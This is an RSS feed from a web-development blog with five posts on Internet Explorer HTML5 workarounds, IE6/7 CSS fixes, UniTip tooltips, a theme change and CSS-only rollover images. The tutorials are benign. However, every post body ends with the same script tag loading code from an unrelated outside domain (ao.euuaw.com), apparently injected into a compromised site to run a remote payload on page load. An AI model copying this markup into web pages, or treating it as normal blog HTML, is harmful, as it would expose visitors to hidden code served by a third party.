<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>dawnerd &#187; CSS</title>
	<atom:link href="http://dawnerd.com/category/articles/css/feed/" rel="self" type="application/rss+xml" />
	<link>http://dawnerd.com</link>
	<description>CSS / JavaScript / HTML5</description>
	<lastBuildDate>Sun, 06 Jun 2010 23:18:45 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Making Internet Explorer HTML 5 Ready</title>
		<link>http://dawnerd.com/articles/css/making-internet-explorer-html-5-ready/</link>
		<comments>http://dawnerd.com/articles/css/making-internet-explorer-html-5-ready/#comments</comments>
		<pubDate>Sun, 09 Aug 2009 18:49:19 +0000</pubDate>
		<dc:creator>dawnerd</dc:creator>
				<category><![CDATA[Articles]]></category>
		<category><![CDATA[CSS]]></category>
		<category><![CDATA[HTML]]></category>
		<category><![CDATA[Javascript]]></category>
		<category><![CDATA[browser quirks]]></category>
		<category><![CDATA[HTML 5]]></category>
		<category><![CDATA[Internet Explorer]]></category>

		<guid isPermaLink="false">http://dawnerd.com/?p=94</guid>
		<description><![CDATA[I&#8217;m going to come right out and say that it&#8217;s likely to take IE years before we see native HTML 5 support. However, that doesn&#8217;t mean we should ignore HTML 5 until IE gets with the program. If you&#8217;ve tried to mess around with HTML 5 in IE, you may have noticed that the new [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;m going to come right out and say that it&#8217;s likely to take IE years before we see native HTML 5 support. However, that doesn&#8217;t mean we should ignore HTML 5 until IE gets with the program.</p>
<p>If you&#8217;ve tried to mess around with HTML 5 in IE, you may have noticed that the new elements do not work correctly with css. Luckily for us, we can use a tiny bit of Javascript to trick IE into rending the HTML 5 elements correctly.</p>
<p><span id="more-94"></span></p>
<pre>
<code>document.createElement('header');
document.createElement('footer');
document.createElement('aside');
document.createElement('nav');
document.createElement('article');
document.createElement('section');</code>
</pre>
<p>The above snippet of Javascript will enable HTML 5 support for the following elements: <code>header, footer, aside, nav, article, section</code>. Should you need support for another element, just use the createElement function and set the parameter to be the element name.</p>
<p>Remember that you should only include the JS file with the &#8216;HTML 5 emulation&#8217; code on IE.</p>
<p>Our next task in a later post is to emulate the <code>video</code> and <code>audio</code> elements.<script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://dawnerd.com/articles/css/making-internet-explorer-html-5-ready/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Fixing Common CSS Issues In IE6 and IE7</title>
		<link>http://dawnerd.com/articles/css/fixing-common-css-issues-in-ie6-and-ie7/</link>
		<comments>http://dawnerd.com/articles/css/fixing-common-css-issues-in-ie6-and-ie7/#comments</comments>
		<pubDate>Tue, 21 Oct 2008 06:05:01 +0000</pubDate>
		<dc:creator>dawnerd</dc:creator>
				<category><![CDATA[CSS]]></category>
		<category><![CDATA[HTML]]></category>
		<category><![CDATA[Javascript]]></category>
		<category><![CDATA[browser quirks]]></category>

		<guid isPermaLink="false">http://dawnerd.com/?p=60</guid>
		<description><![CDATA[As it turns out, Microsoft really doesn&#8217;t care about web standards at all. It has taken them way too many years to adopt the basics of CSS2 correctly. Now they are trying to expand that with IE8. However, developers still have to deal with the outdated IE6 and IE7. Using min-width is completely pointless unless [...]]]></description>
			<content:encoded><![CDATA[<p>As it turns out, Microsoft really doesn&#8217;t care about web standards at all. It has taken them way too many years to adopt the basics of CSS2 correctly. Now they are trying to expand that with IE8. However, developers still have to deal with the outdated IE6 and IE7. Using min-width is completely pointless unless your user base only uses good browsers. <span id="more-60"></span></p>
<p>The other day, I literally stumbled upon a JS file that fixes most of the IE6 and IE7 bugs. It emulates a lot of missing CSS functionality, and also applies a generic PNG fix. <a href="http://code.google.com/p/ie7-js/">You can find the file here</a>. I have been using it on all of my projects recently. In combination with a <a href="http://meyerweb.com/eric/thoughts/2007/05/01/reset-reloaded/">css reset stylesheet</a> and the IE7 JS file, I have had a lot less headaches. I say you give it a shot. it&#8217;s not like it will take a lot of work for you to at least try out.<script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://dawnerd.com/articles/css/fixing-common-css-issues-in-ie6-and-ie7/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Quickly Creating Javascript Tooltips</title>
		<link>http://dawnerd.com/articles/css/quickly-creating-javascript-tooltips/</link>
		<comments>http://dawnerd.com/articles/css/quickly-creating-javascript-tooltips/#comments</comments>
		<pubDate>Sun, 24 Aug 2008 11:05:11 +0000</pubDate>
		<dc:creator>dawnerd</dc:creator>
				<category><![CDATA[CSS]]></category>
		<category><![CDATA[HTML]]></category>
		<category><![CDATA[Javascript]]></category>
		<category><![CDATA[interface design]]></category>
		<category><![CDATA[usability]]></category>

		<guid isPermaLink="false">http://dawnerd.com/?p=53</guid>
		<description><![CDATA[I&#8217;ve noticed that a lot of sites do not use tooltips as much as they should. There are many places on a site where tooltips would really be nice. One example of using them correctly is TheSixtyOne. They use a nice tooltip when you are about to bump a song up. It quickly lets you [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve noticed that a lot of sites do not use tooltips as much as they should. There are many places on a site where tooltips would really be nice. One example of using them correctly is <a href="http://thesixtyone.com">TheSixtyOne</a>. They use a nice tooltip when you are about to bump a song up. It quickly lets you know how many points it will cost and how many times you have bumped it. This post will hopefully inspire at least one of you to use tooltips more often.</p>
<p>The solution I have decided to use is <a href="http://unitinteractive.com/labs/unitip.php">UniTip</a> from <a href="http://unitinteractive.com/">Unit Interactive</a>. I believe they have the best solution to quickly setting up tooltips. Download the zip they provide and we should be ready to go.<br />
<span id="more-53"></span><br />
First, the base html:</p>
<pre>
<code>&lt;html&gt;
  &lt;head&gt;
    &lt;title&gt;Example tooltip&lt;/title&gt;
    &lt;script type="text/javascript" src="js/unitip.js"&gt;&lt;/script&gt;
    &lt;link href="css/unitip.css" rel="stylesheet" type="text/css"/&gt;
  &lt;/head&gt;
  &lt;body&gt;
    &lt;img src="awesomepic.jpg" alt="awesome" title="This pic is awesome" class="tooltip"/&gt;
  &lt;/body&gt;
&lt;/html&gt;</code>
</pre>
<p>Open up unitip.js and find the lines containing:</p>
<pre>
<code>var uniTipTag = "a,img";
var uniTipClass = "TipEx";</code>
</pre>
<p>Change this to:</p>
<pre>
<code>var uniTipTag = "img";
var uniTipClass = "tooltip";</code>
</pre>
<p>Now just run the html file and you should instantly have tooltips. If something doesn&#8217;t work, make sure your path to the css file and images are correct. In addition, it is suggested to use a PNG fix file for IE6. I recommend <a href="http://unitinteractive.com/labs/unitpngfix.php">Unit PNG Fix</a>. It&#8217;s super easy to use and works like a charm.</p>
<p>Please keep in mind that tooltips are really designed for items that really need them, extensive use is annoying. A common use is creating help tips for users completing a complex form. If there is some form of information a user could not understand, it is advisable to use a tooltip on the input box or the label.<script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://dawnerd.com/articles/css/quickly-creating-javascript-tooltips/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>New Look, Same Greatness</title>
		<link>http://dawnerd.com/articles/css/new-look-same-greatness/</link>
		<comments>http://dawnerd.com/articles/css/new-look-same-greatness/#comments</comments>
		<pubDate>Sun, 24 Aug 2008 07:34:30 +0000</pubDate>
		<dc:creator>dawnerd</dc:creator>
				<category><![CDATA[CSS]]></category>
		<category><![CDATA[HTML]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://dawnerd.com/?p=51</guid>
		<description><![CDATA[I decided that the old theme was too dark after getting a few messages about it. Hopefully this one will suit everyone. As you can tell, it is very simplistic. If you have any comments about this one, let me know right away. Oh and this was created completely by me, no pre-made themes this [...]]]></description>
			<content:encoded><![CDATA[<p>I decided that the old theme was too dark after getting a few messages about it. Hopefully this one will suit everyone. As you can tell, it is very simplistic. If you have any comments about this one, let me know right away. Oh and this was created completely by me, no pre-made themes this time.<script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://dawnerd.com/articles/css/new-look-same-greatness/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Rollover Images Without Javascript</title>
		<link>http://dawnerd.com/articles/css/rollover-images-without-javascript/</link>
		<comments>http://dawnerd.com/articles/css/rollover-images-without-javascript/#comments</comments>
		<pubDate>Fri, 16 May 2008 05:29:44 +0000</pubDate>
		<dc:creator>dawnerd</dc:creator>
				<category><![CDATA[CSS]]></category>
		<category><![CDATA[HTML]]></category>
		<category><![CDATA[Javascript]]></category>
		<category><![CDATA[xhtml]]></category>

		<guid isPermaLink="false">http://dawnerd.com/?p=9</guid>
		<description><![CDATA[One of the messiest things I have seen is the auto-generated code from Dreamweaver for rollover images. It got me thinking of ways to make the images swap without the need of Javascript. Instantly I thought CSS. It was actually fairly simple to get working. Take for example this button: &#60;a href="results.html" class="button"&#62;&#60;/a&#62; Right now [...]]]></description>
			<content:encoded><![CDATA[<p>One of the messiest things I have seen is the auto-generated code from Dreamweaver for rollover images. It got me thinking of ways to make the images swap without the need of Javascript. Instantly I thought CSS. It was actually fairly simple to get working. <span id="more-9"></span></p>
<p>Take for example this button:</p>
<pre>
<code>&lt;a href="results.html" class="button"&gt;&lt;/a&gt;</code>
</pre>
<p>Right now the button doesn&#8217;t do a thing. However, if we apply some CSS to it, we get a nice button with a rollover.</p>
<pre>
<code>.button{
    background:url('url/to/image.png') no-repeat;
    width:20px;
    height:20px;
    display:block;
}
.button:hover{
    background:url(url/to/rollover.png) no-repeat;
}</code>
</pre>
<p>Now the button will show the image and swap to the rollover when you hover over it. All without Javascript. But, you ask &#8220;How do you preload the images without Javascript?&#8221;</p>
<p>I laugh, such a simple answer. Put the rollover images at the top of the page, inside of a hidden div.</p>
<pre>
<code>&lt;div style="display:none;"&gt;
    &lt;img src="url/to/rollover.png" alt="" /&gt;
&lt;/div&gt;</code>
</pre>
<p>And there you have it, JS free rollover images.<script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://dawnerd.com/articles/css/rollover-images-without-javascript/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
	</channel>
</rss>
